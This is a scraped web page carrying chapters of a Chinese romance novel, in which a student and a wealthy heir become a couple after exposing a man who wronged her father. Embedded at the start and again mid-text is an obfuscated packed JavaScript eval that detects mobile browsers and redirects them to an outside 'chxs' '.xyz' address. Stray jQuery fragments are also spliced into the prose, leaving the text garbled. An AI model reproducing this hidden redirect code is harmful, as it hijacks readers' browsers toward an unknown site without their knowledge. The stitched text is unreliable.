;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13556466|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明德的命。 那一刻,即便心硬如她,也不是不震撼的,甚至一度怀疑自己听错了。 他这个人,生来耀眼而热烈。 对她的喜欢亦是如此,强势又明目张胆,不管什么时候,都丝毫不加掩饰。 然而,她却一直觉得,挥金如土、肆意妄为的富家少爷,所谓的喜欢,也不过是生活的调剂品。 来得快,也去得快。 也许是有些执拗的,但也不过是求而不得的征服欲。 直到刚才,她才确切感受到他那颗为她跳动的心,有多滚烫。 滚烫到,可以用命来交代。 足够碾碎她一直以来似是而非的踟蹰。 也许是察觉到她的注视,陆祁溟转头看她,将手机换到左手,伸了右手过来握她。 他摩挲着她手腕,讲话的同时,眼睛一瞬不眨地盯着她,微勾了唇,也不知道在笑什么。 她被他盯得又开始胡思乱想。 脸颊发烫,她抽出手,起身,去倒了杯水,喝完后,又给他倒了杯。 电话掐断,陆祁溟接过水杯,“你明早没课,我过来接你,我们得去一趟警察局。” 刚要问他怎么知道她没课,又想起他有她的课表。 她当然知道还得再去一趟。下午因为她晕了过去,遗留了很多悬而未决的事,监控也还没给到警察。 “好。” 她点头,又问他,“你是什么时候知道李明德的事的?” “国庆前一天,送你回学校的那晚。” 见她一脸迷茫,他提示说:“你追上李明德,然后,对他笑了。” 笑了? 她微蹙眉头,不解。 这是什么推理判断的法子。 “笑得很违心。”他散漫地靠在沙发上,斜睨着她。 坦白说,梁舒音再次被他震撼了。 他是有多了解她,才能从她一个言不由衷的笑中,就察觉出异样。 “就…这样吗?” “不止。” 陆祁溟牵着她坐下,“还记得你要求林岚给你道歉的时候,我了解过你父亲的事吗?” “嗯。” “说实话,第一次知道你父亲的遭遇,我潜意识就觉得哪里不太对劲。” 梁舒音眼眸亮了亮,“真的...吗?” 就连母亲都不相信的事,他却只是初次听说,就发现了端倪。 她不得不佩服商人的直觉。 像狼一样敏锐的嗅觉。 “嗯。” 陆祁溟点头,“不过那时我并未细想,直到看见你主动招惹李明德,我才有了更深的疑虑。” 她若有所思地点头。 但想起他刚才告诉自己,李明德背后是凌氏集团,又有些担心了。 “他这次会不会又...” “不会。” 陆祁溟掀眼看她,眼底是极少在她面前透露的果决狠厉。 她知道,这是家世背景、权力财富,以及曾经游走在商场那种复杂环境中淬炼出的自信与掌控力。 “有我在,他这次逃不掉的。” 她盯着眼前的男人,眼眶温热,心脏也发酸发涩。 多年以来,她像个深夜里的潜行者,踽踽独行,背负着不为人知的秘密。 无人可诉说,也无人可依靠。 她在每个破晓黎明前,满怀期冀地等待白昼来临,又在无数个黑夜降临时,眼睁睁看着希望破碎。 追寻的过程太漫长,煎熬如影随形,她早就习惯了。 而现在,这个男人却告诉她,她不是一个人。 有他在。 “怎么了?” 见她红了眼,那双冷戾的眸子瞬间温柔下来,陆祁溟捏着她下巴,鼻尖亲昵蹭着她的。 “就这么感动吗?” 她没躲开,带着鼻音问他:“你今晚有事吗?” 陆祁溟眼底微动,“想我留下来?” 跟李明德对峙时,她豁了出去,带着玉石俱焚的念头,像个十足的疯子。 而此刻,硝烟散去,她才发现自己其实并没有那么勇敢,尤其是一踏进卧室,那些血腥场面就自动浮现眼前。 不怕是假的。 她不好意思地“嗯”了声。 “身份都不给我,叫我怎么留宿?” 男人似笑非笑逗她。 “什么啊~” 她盯他两秒,拍开他钳住自己下巴的手,别开视线。 “别装傻。” 陆祁溟干脆双手捧着她的脸,逼迫她跟自己对视。 “我是你男朋友吗?” 被他控着,她躲不了,半晌,轻轻“嗯”了声。 “自己说出来。” 他语带诱哄,“是或不是?” 梁舒音被他搞烦了,双手推开他,起了身,“爱留不留。” “还急了。” 身后的人气声轻笑,跟着起身,在她抬脚前,从身后紧紧抱住她,在她耳边吐出一句温柔缱绻的话。 “好了,我留下。” 40. 同床 晚饭是三菜一汤,陆祁溟亲自下厨做的,食材也是他刚刚去超市买的。 拉开椅子,看见餐桌上色香味俱全的几道菜时,梁舒音有些惊讶。 她没想到,这样一个衣来伸手饭来张口的少爷,竟然还会下厨。 而且,看起来好像还不错。 “怕你饿了,就简单炒了几个菜。”陆祁溟递了双筷子给她。 “谢谢。” 她接过来,却见他望着自己,欲言又止。 “怎么了?”她问。 “能不能别谢来谢去的。”他伸手敲了敲她脑门,面色无语。 她不满地揉着脑袋,嘟囔着他下手可真重,但扫了眼这桌辛苦做出的菜,终究改了口。 “那辛苦你了。” 又笑眼盈盈地加了句,“男朋友。” 忙活半天的人终于满意地笑了。 之前带她去吃过饭,知道她的口味,所以陆祁溟没放辣椒,都是些清淡的。 “还行吗?” 他知道她其实挺挑食的,多少还是有点紧张。 梁舒音夹了块虾仁,嚼了两下,眼睛发亮地望着他,“很好吃哎。” 陆祁溟松了口气,“那就多吃点。” 她看他一眼,心底生出某种很微妙的感觉。 像是有一场春雨,润物无声,淅淅沥沥地落到了心间,于是那片荒漠,颤颤巍巍长出了一颗宝贵的绿芽。 这里是她家,而这个男人却在她家下厨,给她做饭。 哪怕是前几天,他将她堵在图书馆威胁她的时候,她都没想过,几天后,她就彻底对他缴械投降了。 “陆祁溟。” 感慨之后,她突然想起一个严重的问题,“这些菜都是清淡的,你吃得下吗?” 她记得他很喜欢吃辣。 男人盯着她,轻笑一声,不以为意道:“有些事,并不是不可以改变的。” 她稍稍一怔。 印象中,爸爸一直饮食清淡,而妈妈却是无辣不欢,因为口味的分歧,吵过不少的架,爸爸尝试过妥协,但结果是肠胃炎发作半夜去医院。 而妈妈,似乎从没迁就过爸爸,于是最后只能让保姆每顿都分开做两人的饭。 即便早知道他们之间的裂缝,但听陆祁溟如此云淡风轻地提起这些小事,她还是会忍不住鼻酸。 有些事,不是不可以,只是不愿意罢了。 “想什么呢?” 对面的人似乎察觉到什么,认真又温柔地看着她。 回过神来,梁舒音深吸口气,微微摇头。 “没什么。”她咬着筷子看他,“我只是在想,我男朋友还挺贤惠的。” 陆祁溟低头笑了下。 认识她以前,倘若有人敢把“贤惠”俩字安在他头上,大抵不会有好下场。 然而,现在听她着说,也不知是接受了,还是被男朋友三个字安抚了,他倒也没计较。 “你笑什么?” 梁舒音不明所以,却也跟着弯了唇角。 他用漆黑深沉地眸子看着她,半晌后,答非所问:“你那么好看的一双眼睛,就该多笑笑。” 她微愣,眼睛里慢慢住进了一弯新月。 吃完饭,两人分工合作。 陆祁溟负责收拾厨房,她负责把他买回来还没来得及收纳的东西,都归类了,放进储物柜里。 然而东西实在太多了,几乎将柜子填满,除了一堆水果零食外,甚至还有几瓶起泡水,青柠味的。 “陆祁溟,你干嘛买这么多零食?” 她平时几乎都在学校,只有周末回家,这些东西放到过期也吃不完。 “你们女孩子不是都喜欢吃零食?” “...” “不是吗?”他诚心求教。 “看来你很有经验。” 正在洗碗的男人,听见这突然冷下来的语气,察觉到不对劲,偏头看她。 那姑娘面无表情,他也看不出是不是不高兴了。 他冲净手上的泡沫,扯了纸巾擦干手,走过去,从身后搂着他。 “你是第一个。” “什么?” 正在研究糖果的人没懂他的意思。 “我没什么经验,因为你是我第一个喜欢的人。” 陆祁溟亲了下她耳朵,“也会是最后一个。” 被他情话撩拨,再冷淡的人也架不住,梁舒音浑身酥酥麻麻,脸颊发烫,就连心跳都快了几分。 但她这个人天生悲观,不相信什么天长地久。 更何况,她才刚满20,虽然身边人都说她比同龄人成熟,但她知道,自己做事任性,性子又犟。 这样的脾气性格,其实是很难谈什么一辈子的。 她没回应他这句话,只是扭头看他,“我爸妈当初也以为能在一起一辈子。” “陆祁溟你知道吗?我的名字里,梁和舒是他们各自的姓,而音...” 她顿了下,“他们是因为音乐结缘的。” 如此美好而浪漫的寄托。 “可是后来,我爸病了残了,我妈...出轨了。” 女孩垂着眸子,看不见眼底的情绪,嗓音清清冷冷。 看起来一副淡漠的样子,但他知道,她很难过。 陆祁溟心疼地抱紧了她,脸贴在她发丝上,“音音,我们不会变成你父母那样的。” “相信我。” 她笑了笑,一双握紧了他环在腰上的手,却没说话。 -- 晚上,陆祁溟被安排在主卧隔壁的那间客卧。 沙沙雨声在窗外响起。 这样的夜晚,最适合安眠。 然而,主卧的人却翻来覆去,睡不着。 梁舒音刚朝窗户的方向翻了个身,天边就滚过一道刺目的闪电。 霎那间,呼吸迟滞,她浑身僵硬地缩在被子里。 她并不害怕闪电或打雷,但不知为何,窗外的任何动静,都足以将她拉回腥风血雨的午后。 眼底闪现李明德掐着她喉咙,将她抵在窗边的一幕,像恐怖片的画面,在脑中循环上演。 片刻后,她掀开被子,拿着枕头去了客卧。 两下轻微的敲门声后,次卧门很快被打开,陆祁溟看见她,有些意外。 “怎么了?”他问。 “我能跟你一块儿睡吗?” 梁舒音面不改色地望着他,解释得异常认真,“我对那个房间,好像有点阴影了。” 本以为自己听错了,然而看着她怀里的枕头,陆祁溟又确定自己没听错,原本还紧张担忧的面色瞬间多了一丝玩味。 “想换房,还是想有人陪?” 他走进了她,垂眸睨着穿着吊带裙,黑发披肩的姑娘。 梁舒音盯着他,两秒后,突然垂下眼眸,“算了,我回去适应下。” 结果刚转身,就被门口的男人不由分说地拽了进去,门在她身后被关上,他灼热的气息喷在她光洁的后颈上。 “男朋友就在这儿,需要你去适应什么?” 有了他在身边,窗外的闪电没那么可怕,眼前也再没李明德那张扭曲变态的脸了。 然而,原本应该松弛下来的身体,却在听见他近在咫尺的呼吸声后,骤然紧绷起来。 她的胳膊恰好又碰上男人结实的手臂,不知是不是错觉,她总觉得他体温烫得吓人。 僵硬了两秒后,梁舒音慢慢朝旁边挪了挪。 但她忘了,次卧的床是一米五的小床,她这一挪,后背直接抵在床沿上。 就在坠落的千钧一发之际,一只有力的手搂着她的腰,将她轻而易举捞了过去。 还没反应过来,她已经被锁在男人宽厚的怀里,鼻尖是他身上的荷尔蒙味道,耳边滚落他的气音。 “梁舒音,你怎么睡个觉都不老实?” 他的声线又低又沉,带着磁性的颗粒,灼热地拂过她额头。 她浑身一颤。 不等她回答,他又贴着她耳廓,沉声道,“放心,不会把你怎么样的。” 黑暗的卧室,呼吸交叠,炙热黏腻。 她都不知道该怎么回答。 似乎说什么都不妥,索性没吭声。 只是距离太近,睫毛几乎扑扇在他胸口的位置,她只能在一呼一吸间尽量将某些很重的东西,放缓放轻到不会干扰到他。 然而片刻后,却没再听见头顶的声音。 她好奇地抬头,却在黑暗中,对上了一双像猎人盯着猎物般,紧盯着她的深邃眼眸。 她亦仰头望着他。 不是在对峙,而是好像被他的目光黏住了,被吸进了他深不可测的漩涡中。 不等她从漩涡中撤出,他已经低头,吻了下来。 唇被他含住的那一刻,她本能嘤咛出声,呼吸也跟着轻轻颤抖了起来。 他搂着她的那只手收紧,掌心贴着她的腰线,温柔抚摸着,唇上轻吮片刻,便迫不及待撬开她的贝齿。 她仰头承接,舌根被他纠缠着挑逗,她紧张又舒服,浑身都溺在他的掌控中。 但她学习能力也很强,几个回合后,就跟着他的节奏反客为主,手也不自觉勾上他的脖子。 而陆祁溟也感知到她的主动,血液上涌,青筋凸起时,却也不得不固守疆界,将全部煎熬和念想都融在这场温柔细密的亲吻中。 直到房间的氧气全部被消耗完,他才放开了她。 这个吻打碎了刚才的尴尬,那根隔在两人中间的线被彻底剪断,没了局促和不自在,呼吸的交融变得自然而然。 “陆祁溟,谢谢你。” 呼吸平复后,梁舒音将脸颊贴靠在他胸口,抱紧了他。 结果下一秒,腰上却被人不怀好意地狠掐了下。 她闷哼一声,瞪着他,低声嘟囔:“你有病啊,干嘛掐我?” “我晚上说什么了?” 他用力捏着她的脸,捏成一个O字形,语气温柔地恐吓她,“下次再谢来谢去,就不只是掐一下这么简单了。” “那你要干嘛?” 她劲儿劲儿地盯着他,嘴巴因为被钳制着,发音含糊而可爱。 他被逗笑了,弯了唇,松开手,轻轻琢了她鼻尖,唇角。 “梁舒音,别装傻,你知道我想干什么的。” 她装作没听懂,脑袋拱进他怀里,让她亲不到自己,煞有介事地提醒他。 “陆祁溟 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“梁小姐放心,虽然这个人背景强大,但我也不是吃素的。我一定会替你替你父亲,还有那些被欺负的女生,讨回一个公道的。” “谢谢您,陈律师。” 回学校的路上,梁舒音手肘撑在窗边,眼睛盯着窗外,安静得仿佛不存在。 十字路口,红灯亮起。 车停了下来,旁边的男人伸手过来握她,“在想什么呢?” 她收回视线,扭头看了他几秒。 “陆祁溟,如果没有你,我是不是根本就没办法对付李明德?” 虽然她拿到了足够的证据,但他却有权力庇护。 其实一直以来,她都痛恨着权力、地位这些东西。 如果不是那个所谓的竞聘,就不会发生后来的事。如果不是李明德背后有人,寻找真相的过程也不会这么坎坷。 然而现在,却又是权力帮了她。 如果没有陆祁溟,她这个渺小的蚍蜉,根本无法撼动有凌氏当靠山的大树。 陆祁溟沉吟片刻。 这个问题并不好回答。 事实上,这个世界早就生病了,且千疮百孔。 善良并不能感化丑陋,想要惩治罪犯,权力有时比规则更有用。 他从小跟在陆延盛身边,看到的,听到的,比这丑恶百倍千倍的都有。 但他不能跟她这样说。 “不会的,你那么虔诚又那么坚韧,就算没有我,也一定能将李明德绳之以法的。” 她怎么不知道他在安慰自己。 “那你也喜欢权力吗?”她问他。 绿灯亮起。 陆祁溟一只手搁在方向盘上,顺势拨了下,车子便拐入了学校外的小巷,另一只手仍紧紧握着她,十指交扣。 “权力金钱这些东西都是中性的,关键在于...” 他偏头看她一眼,“手握它们的人,怎样对待、怎样使用它们。” 因为之前车手的身份,以及俱乐部和酒吧的关系,梁舒音总觉得陆祁溟是个狂妄又爱玩的人。 虽然大她几岁,但因为长得实在年轻好看,说是同龄人也不为过。 但经过这件事,她才真切感受到他们之间的差距。 他成熟睿智,经历丰富,是那种能在复杂场合游刃有余的人,而她,即便努力扮演大人,却还是漏洞百出。 而这样的他,虽令她陌生,却也让她着迷。 陆祁溟今天开的车实在太张扬,没到宿舍楼下,梁舒音就让他停在了篮球场旁边。 她想自己下车走过去。 推门下车时,听见他手机响起,她没急着道别,而是安静站在路边等着。 电话里,赵赢在跟陆祁溟汇报一件紧急的事,他一手推在车门上,眼睛不经意瞥了眼前方的球场。 一群男的,正对着这边吹口哨。 他顺着望过去,他们调笑的,正好是站在路边等他的姑娘。 她似乎在发信息,低头认真盯着手机,也没注意那群人的动静。 但他却没办法置之不理,因为他知道那群人脑子里在想什么。 他立刻下了车,将车门重重摔上,抄着手走到梁舒音面前,高大身影挡在她面前,隔绝了那些不怀好意的目光。 面前阴影覆下,梁舒音刚要抬头,就被他搂了过去。 她下意识想问“你好啦”,结果发现他还在打电话,赶紧闭了嘴。 他却靠近了,在她耳边气音道:“快了。” 电话里,她听到些徐方集团的商业信息,本想回避,男人却揽着她的腰,怎么也不放手。 她觉得奇怪,但也没多问,也许是马上快分别,他有些不舍。 反正她对商场上的事一窍不通,他应该也不怕她泄密。 只是,被他抱着,她也不方便看手机。 因为身高差,她的视线自然而然就落到他讲话时,吞咽的喉结上。 也许是因为自己没有这个器官,她莫名产生了些不合时宜的好奇。 于是,求知欲旺盛的人不觉伸了手,想去摸摸男人喉间突出性感的那处。 41. 念头 陆祁溟正跟电话那头的人讲到重点处,喉头忽然被什么柔软又冰凉的东西,反复摩梭着。 痒是自然的,关键还扰乱他的气息。 收回视线,他垂眸看向兴致勃勃在他身上作乱的人。 他没阻止她,只是忍受着这种煎熬,想看看她到底要干什么。 面前的姑娘原本微偏着小脑袋,充满求知欲的目光一瞬不眨,定在他喉间。 见他不说话了,她眼神上移,跟他对上,一脸认真地用口型提醒他。 “讲,话。” 还真把他喉结当成研究对象了。 冰凉指尖在他滚烫的喉头划过,他头皮发麻,不自觉吞咽了下,深吸口气,迅速将对话收尾。 “好,就先这样。” 掐断电话,他一把抓住她无意识撩拨的手,秋后算账似的睨着她,语气沉沉。 “摸够了吗?” 梁舒音看他一眼,抽出手,丝毫没为自己这揩油的行为做出任何解释,公事公办地跟他道别。 “那我先回宿舍了。” 一副事后不认账的薄情寡义。 结果就是刚抬脚,就被人猛拽了回来。 陆祁溟将她困在怀里,手放在她腰上,用力钳制着。 “我让你走了吗?” 一贯的气声威胁。 “那你想在学校耍流氓吗?” 梁舒音一点也没在怕的,她用警告的眼神盯着他,双手推在他胸口,一脸的理直气壮。 “...” 也不知道刚才是谁在耍流氓。 陆祁溟没再跟她贫嘴,抓紧时间腻歪了下,将她垂落的发丝捋到耳后。 “晚上忙完过来找你。” 语气切换,轻柔到跟刚才电话里果决冷戾的模样,判若两人。 “不用了,如果你太忙...” “嗯?” 陆祁溟尾音微扬,不满地打断她。 梁舒音也是个吃软不吃硬的人,对上男人警告的视线,反而就不想轻易点头了。 然而反骨刚生出,陆祁溟就俯身,在她耳边落下一句话。 脸颊倏然发烫,她屏住呼吸,睁大了眼,盯着一脸坏笑的人。 “梁舒音,你还会脸红啊?” 陆祁溟趁机捏她的脸,还用力搓揉了下。 她狠狠剜他一眼,拍开他的手,留下一句不耐烦的“走了”,便转身离开了篮球场。 “胆小鬼。” 陆祁溟盯着她仓促逃离的背影,低笑出声。 他伸手去扯了下衬衫领口,想起什么,手顺势放在她刚才摸过的地方。 鼻尖轻嗅,似乎还有股若隐若无的香味环绕在身上,他将领口的纽扣系上。 像是要妥善保存,她留在他身上的温度。 -- 回宿舍的路上,梁舒音看似平静,然而心跳却跟脚步一样急促不稳。 一路上,她脑子里反复回荡着他那句发烫的话。 “不是想玩儿吗,晚上过来给你慢慢玩儿。或者,还想玩点什么刺激的,也行。” 不正经的语气,分明在故意撩拨她。 她拍了拍脸,深吸口气,平复好呼吸,才摸出钥匙去开门。 然而,推门进去的瞬间,随着一声清脆的surprise,她猝不及防被喷了一身金粉和彩带。 “今天是什么特别的日子吗?” 她笑着扯下头顶的蓝色绸带,看了眼桌上的栗子蛋糕,印象中两人的生日都不在今天。 “没呢。” 林语棠眼睛弯成新月,迫不及待地将她拉过去,小手举成拳头,“这个蛋糕是为了庆祝咱们顺利拿下李明德。” 她点头,将背包放下,“嗯,是该庆祝下。” 蛋糕上插着五只蜡烛。 距离父亲出事,已经五年了。 前头那三年,她懵懂地陪着身心受创的父亲,一味地想要他重新站起来,却不懂他心中的苦闷忧愁。 后来,她又用了两年的时间去追寻真相,其间坎坷,虽存了不达目的不罢休的志向,却始终不敢抱太大的奢望。 但好在,老天终究对她不薄。 林语棠切了块蛋糕给她,张了张嘴,想说什么却欲言又止。 梁舒音看出她的心思,接过蛋糕,问她:“怎么了,棠棠?” 自从梁舒音主动接近李明德,而她又设法避着他后,李明德很快就对她没了兴趣。 她像个溺水的人,被梁舒音从绝望的深渊捞出。 而如今李明德被抓,悬在她头顶的那把剑,终于落下。 她彻底安全了。 林语棠微微摇头,眼中泛泪,“你当初说一定会替我讨回公道,你真的做到了。” 她抬手抹了把眼角,哽咽地低下了头,搓着掌心,语气歉疚。 “可是,我却没能帮上什么忙。” 一旁的陈可可闻言,将刀叉一扔,也撇了嘴,面色沮丧。 “我才是最没用的那个,一点忙也没帮上。” 她叹口气,摸了摸鼻头,看向梁舒音,“而且,我还是最早知道这件事的人。” 其实,梁舒音根本没想把她俩拉进这场风暴中。 自己选的路,没必要连累别人,哪怕关系再好,也不行。 她跟林语棠坦白,不过是为了将她从漩涡中救出来,让她知道她并非孤军一人。 被陈可可撞见,更是源于一场意外。 大一时,她有次去李明德办公室找线索,却碰上他去而复返。 慌忙中,她躲到办公桌底下,等人走了,却发现门也跟着被反锁了。 大门出不去,只能将目光转向窗户。 那后面原本是荒废的小花园,落叶铺了极厚的一层,平时几乎没人来。 但那天,陈可可却意外追着一只受伤的橘猫过来,正巧,就撞见了攀着窗沿跳下去的她。 四目相对。 瞒不住了,她只能坦白。 跟踪这种事,人多容易打草惊蛇,她用这个理由把陈可可摘除在了她的冒险计划之外。 陈可可心大,很好糊弄,除了有两次执拗地想跟着她去清风茶舍,其他时候都乖乖充当她的精神陪伴者。 “好了,你们别一个个在这检讨了。” 梁舒音打断她们,左右手各揽过一人,“棠棠,要不是你及时赶到,我昨天就凶多吉少了,还有可可...” 林语棠接过她的话,做了个抹脖子的动作,“要不是可可,我也被李明德给掐死了。” 她们就像个链条。 一环扣一环。 缺了谁,都没法导向最终这个结局。 “所以啊。” 她拉着两人的手,叠在一起,又把自己的手放上去,一字一句,掷地有声。 “这是我们共同努力的结果。” “我要感谢你们,愿意无条件相信我,甚至在危急时刻不顾性命地帮我。” 陈可可看向梁舒音,嬉笑的人眼角也挂了小珍珠,她突然就想起了无数次悄悄跟在梁舒音身后的时光。 她踩着她的影子,天真地想保护她,怕被发现,她每一步都走得小心翼翼。 从炎夏到深冬,那些和她一起,默默战斗过的时刻。 不可言说,却又如此珍贵。 陈可可偷偷抹了下眼角,用胳膊肘戳她,“还好你昨天给我们发信息了。” 梁舒音揉了揉她后脑勺,“说好了不瞒你的,这次我做到了吧?” “还算你识相。”陈可可破涕为笑。 习惯了独自前行的人,尝到被人掏心掏肺对待的滋味,身体中那些尖锐的部分都变得柔软了。 然而,梁舒音还是没告诉她们,这件事其实还没完,接下来还有一场仗要打。 当然,她相信法律的公正,也相信陆祁溟。 她用勺子叉了口蛋糕,送进嘴里时,想起什么,从兜里摸出那把备用钥匙,扔给陈可可。 “钥匙,收好了。” 陈可可一愣,心虚地觑她一眼。 “那个,我昨天把钥匙给陆祁溟,你没生气吧?” 她当然想亲自留下来照顾梁舒音,但陆祁溟那张脸实在吓人。 其实他对自己挺客气的,但不知为何,陈可可昨天怕他,怕得要命。 也许是听见他说,要替梁舒音做那沾血的事。 也许是因为她从没遇见过这样一个疯子,为了喜欢的人,竟然可以不计后果地替她背锅,扛下一切,连大好前途都可以交代出去。 与其说,她是顺从地把钥匙扔给了他,不如说是放心地把闺蜜交给了他。 闻言,梁舒音不紧不慢地挖了口蛋糕送进嘴里,故作冷面地睨着她。 “气。” “啊?” 陈可可八字眉一压,正要检讨,却见对面的人唇角微扬,狡黠一笑。 “等下...” 聪明伶俐的姑娘打了个响指,装模做样围着她走了一圈,狗鼻子在她身上嗅了嗅。 “我好像闻到了一丝不同寻常的味道呢。” “一种...属于男人的荷尔蒙味道。” 梁舒音拿似笑非笑的狐狸眼瞧她,不说话,继续小口抿着蛋糕。 陈可可和林语棠对视一眼,眼眸骤亮,默契惊呼。 “成了?!” -- 下午有两节外国文学史的课。 这门课的老师叫章远之,他上课自由度很大,从不点名,也几乎不抽问,但会鼓励学生上台去讲课。 只要有兴趣的,自己做好课件,他就会腾出半节课的时间,给对方锻炼。 这堂课,有个叫李惠的女同学上台讲古希腊的悲剧。 李惠讲课时,老章就坐在前排认真听着,有些人便趁着这机会开起小差。 梁舒音边听李惠讲课,边在手机上查着凌氏集团过往的一些负面新闻。 她倒是有一心两用的天赋,但陈可可就没这本事了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13604206|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李惠下了讲台后,正在跟周公对话的陈可可,冷不丁就被老章点了起来。 还好关键时刻,梁舒音把笔记推到她面前,这才勉强蒙混过关。 老章脾气好,洞穿一切,却也没责骂,只温和地开起玩笑。 “有些同学,上课喜欢闭目沉思哈。” 他拧开保温杯,慢悠悠喝了口水,“思考是个好习惯,但就怕思考着思考着,就去见周公了。” 都听懂了老章的暗语,班里顿时爆发雷霆般的笑声。 下课后,闷闷不乐的当事人,将书一股脑塞进包里,双颊气鼓鼓的。 “有什么好笑的,谁敢说自己没走过神,没打过瞌睡。” “不行!” 陈可可咬牙,双手放在前面林语棠的肩膀上,使劲晃着,“我得去吃顿火锅才能解气。” 前排的姑娘扭头看她,十分贴心地道,“好呀,我也好久没吃火锅了。” “你呢?” 她咬着腮帮子看向沉默的梁舒音,同样是开小差,为什么她回回都能答对老师的提问? 梁舒音盯着委屈的人,顿了下,“行。” 她不确定陆祁溟晚上过来找她,是要一起吃晚饭,还是只见个面。 于是在去火锅店的路上,她拿出手机,发了条信息给他。 【我晚上跟室友们一起吃饭】 陆海集团,鸦雀无声的顶层办公室,各部门负责人都聚集在这里。 一场没有硝烟的战争,已经持续了一个下午。 察言观色的、暗自揣度的、汗流浃背的...没一个敢放松警惕。 在座的大部分都是老员工,对陆祁溟并不陌生。 除了几年前登顶商业新闻的那个项目,令他们印象深刻的还有一件事。 那就是经他之手的人事大清洗。 那次腥风血雨奠定了他在众人心中冷血无情的形象。 虽然都知道他的行事未必不妥,毕竟那些被清理掉的人,没一个是无辜的。 然而,就在大家都陷入疑神疑鬼的恐慌时,这位手段凌厉的陆少,却突然离开了。 据说,是因为已故的二小姐。 二小姐发生意外时,才五岁,天真懵懂的年纪,死前又糟了那样的罪,任谁都受不了。 自那以后,这位陆海唯一继承人便再没出现过。 直到前阵子商业名流汇聚的酒宴,他再次成为聚光灯的焦点。 一切像是早有了预兆。 随着他的回归,往日作风被拿来评议,外加最近徐方集团经他之手的异动,陆海内部不免人心惶惶。 让人如坐针毡会议持续到了傍晚,而这位不讲情面的陆少爷却像是改了性子,没有发难,没有给下马威。 除了认真听汇报时略微低气压的面色,对所有人都礼貌客气。 也不知道是新官上任,尚未露出真面目,还是碰巧心情不错。 只是,就在营销部的负责人顾飞刚汇报完毕后,主桌的人低头看了下手机。 眉头下压,眼底忽然一沉。 顾飞大气不敢出一口,握着鼠标的手,不自觉抖动起来。 陆祁溟并未察觉到因他而冷下来的氛围,他盯着梁舒音发来的信息,反复看了两遍,将手机反扣在了桌上。 “辛苦了。” 他掀起眼皮看向顾飞,语气如常,但面色却比刚才冷峻了些。 顾飞摸不准他这话是夸他,还是在提点他,怯怯地盯着老板,一时没反应过来。 “还有什么问题吗?”陆祁溟问他。 顾飞慌忙切断投影,抹了把脑门的汗,“没…没了。” 会议散场后,赵赢在他身后,小心翼翼问道:“陆总,晚上那个宴会还要推掉吗?” 经过徐方集团的那场硬仗后,赵赢就成了他的私人助理。 他在哪儿,赵赢就在哪儿。 当然,工资也跟着翻了好几倍。 所以哪怕背井离乡,千里迢迢从崇洲来到虞海,赵赢也并不委屈。 这段时间跟着老板,他自然知道了一位梁小姐的存在。 原本因为梁小姐,老板把晚上的应酬都给推掉了,但善于察言观色的他,刚才不小心瞥见老板的信息,便多问了句。 然而,陆祁溟却只回了一个字。 “推。” 火锅店内,麻辣鲜香的食物攫住了每个人的味蕾,梁舒音的注意力却放在刚上的那盘食物上。 白色陶瓷盆的底下,铺满了方形的冰块,她莫名就想起了陆祁溟锋利凸出的喉结。 还有他那两句半真半假的话。 刺激的事? 他想做什么? 有些念头一旦在心里生根了,就像这锅底的香料,时不时随着沸腾的汤料,翻滚两下。 她瞥了眼手机,一个小时过去了,发给他的信息却石沉大海,迟迟没有任何回音。 也许还在忙。 只是这个点了,他应该不会再来了吧。 42. [锁] [此章节已锁] 从火锅店出来,还不到八点。 深秋的夜晚,街边霓虹眨眼,天幕月光明晃晃的,倾泻在脚边。 南门外这条商业街,美食荟萃,一路流连,烟火气熏得人心里暖暖的。 在奶茶店买了饮品后,几人沿着流光溢彩的街道,慢条斯理朝学校大门走去。 梁舒音被林语棠挽着胳膊,两人有一搭没一搭聊着。 陈可可在前面的石子路上蹦跳着,两只脚跟下五子棋似的,反正就是不好好走路。 拐过校道时,不知从哪儿冒出辆跑车,从她旁边嗖一下蹿过,把她吓得惊叫一声,魂差点没给吓掉。 “有病啊,不知道学校开车限速啊?” “豪车就了不起了吗?” 车都消失得无影无踪了,她还气不过,在那儿骂骂咧咧,然后又转头望着梁舒音。 “改天让你的陆少爷,把他那些百万名车都开来秀秀,看把那人得瑟的。” 梁舒音把她拽到路边,笑道:“谁让你不好好走路了。” 陈可可吐了吐舌头,挤进两人中间,一手挽着一个。 “对了,今晚跟我们一起出来吃饭,没耽误你约会吧?” “没。” 梁舒音将依旧没动静的手机扔进兜里,盯着前面被路灯照亮的校道。 “他也挺忙的。 回到宿舍后,一身火锅味的梁舒音立刻去洗了澡,刷了牙,还给自己敷了片面膜。 吹干头发,正准备爬上床看书,手机响了起来。 言简意赅的两个字。 “下来。” 她去阳台看了眼。 熟悉的香樟树下,熟悉的那个身影。 外头已经在飘雨了,她从衣柜里找了件毛衫套在睡裙外,拿着伞就下去了。 到了楼下,人却不见了。 她撑开伞,走进雨里,四处张望了下,才看见花坛旁边停了辆车。 男人的手肘搭在窗边,黑色衬衫几乎与夜色融为一体。 她走过去,拉开车门,躬身进去。 边收着伞,边问他:“这么晚了,你怎么还过...” 话没说完,强烈的男性荷尔蒙扑面而来,混杂了松木香的淡淡烟草味侵入她的呼吸。 话被他吞进了喉咙。 啪嗒—— 伞掉下去,砸在她脚边。 男人将她压在椅背上,灼热的唇烫着她皮肤,手上也没闲着,。 “嗯——” 猝不及防的暴力,让她浑身瘫软,差点没喘过气。 男人却在她耳边溢出一声低笑。 